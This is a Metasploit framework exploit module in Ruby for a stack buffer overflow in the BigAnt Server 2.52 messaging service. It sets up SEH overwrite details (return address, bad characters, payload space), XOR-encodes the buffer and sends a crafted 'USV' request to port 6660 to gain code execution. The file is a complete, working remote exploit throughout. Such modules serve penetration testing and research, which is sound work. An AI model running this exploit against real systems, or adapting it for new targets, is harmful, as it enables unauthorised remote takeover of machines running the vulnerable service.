82 lines
2.2 KiB
Ruby
82 lines
2.2 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'BigAnt Server 2.52 USV Buffer Overflow',
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'Description' => %q{
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This exploits a stack buffer overflow in the BigAnt Messaging Service,
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part of the BigAnt Server product suite. This module was tested
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successfully against version 2.52.
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NOTE: The AntServer service does not restart, you only get one shot.
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},
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'Author' =>
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[
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'Lincoln',
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'DouBle_Zer0',
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'jduck'
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '61386' ],
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[ 'EDB', '10765' ],
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[ 'EDB', '10973' ]
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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},
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'Payload' =>
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{
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'Space' => (218+709+35),
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'BadChars' => "\x2a\x20\x27\x0a\x0f",
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# pre-xor with 0x2a:
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#'BadChars' => "\x00\x0a\x0d\x20\x25",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'BigAnt 2.52 Universal', { 'Ret' => 0x1b019fd6 } ], # Tested OK (jduck) p/p/r msjet40.dll xpsp3
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Dec 29 2009'))
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register_options([Opt::RPORT(6660)], self.class)
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end
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def exploit
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connect
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sploit = ""
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sploit << payload.encoded
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sploit << generate_seh_record(target.ret)
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sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + payload_space.to_s).encode_string
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sploit << rand_text_alphanumeric(3)
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sploit << [0xdeadbeef].pack('V') * 3
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# the buffer gets xor'd with 0x2a !
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sploit = sploit.unpack("C*").map{|c| c ^ 0x2a}.pack("C*")
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print_status("Trying target #{target.name}...")
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sock.put("USV " + sploit + "\r\n\r\n")
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handler
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disconnect
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end
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end
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